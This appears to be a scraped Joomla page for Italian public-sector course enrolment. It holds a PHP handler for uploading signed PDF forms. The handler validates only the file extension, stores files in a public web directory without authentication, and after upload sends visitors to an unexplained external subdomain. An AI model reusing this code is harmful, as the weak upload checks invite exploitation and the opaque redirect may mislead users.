Articoli

Upload modulo firmato Corsi Polizia Locale





Upload modulo firmato Corsi Polizia Locale (2)





Formazione Concorso Roma Capitale

<script>
window.location.href = "/joomla/formazione-concorso-roma-capitale.html";
</script>

 

Upload modulo Formazione Concorso Roma Capitale

{source}
<form action="" method="post" enctype="multipart/form-data">
<label>Seleziona file PDF firmato (max 2MB):</label><br><br>
<input type="file" name="fileToUpload" accept="application/pdf" required><br><br>
<input type="submit" value="Carica il modulo">
</form>

<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$target_dir = $_SERVER['DOCUMENT_ROOT'] . "/joomla/joomla/uploads/Formazione Concorso Roma Capitale/";

if (!file_exists($target_dir)) {
mkdir($target_dir, 0755, true);
}

$filename = date("Ymd_His") . "_" . basename($_FILES["fileToUpload"]["name"]);
$target_file = $target_dir . $filename;
$fileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

if ($fileType != "pdf") {
echo "<p style='color:red;'>❌ Solo file PDF sono ammessi.</p>";
exit;
}

if ($_FILES["fileToUpload"]["size"] > 2 * 1024 * 1024) {
echo "<p style='color:red;'>❌ Il file è troppo grande. Massimo 2MB.</p>";
exit;
}

if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "<p style='color:green;'>✅ Upload effettuato con successo!</p>";
echo "Nome file: <strong>" . htmlspecialchars($filename) . "</strong>";
echo "<script>setTimeout(function(){ window.location.href = 'https://38o9befa.sibpages.com'; }, 2000);</script>";
} else {
echo "<p style='color:red;'>❌ Errore durante l'upload.</p>";
}
}
?>

Upload modulo firmato Corso Guardiaparco





Upload modulo firmato Corsi Funzionari amministrativi





Creare Folder Corso Guardiaparco

⚠️ A pasta 'uploads' já existe.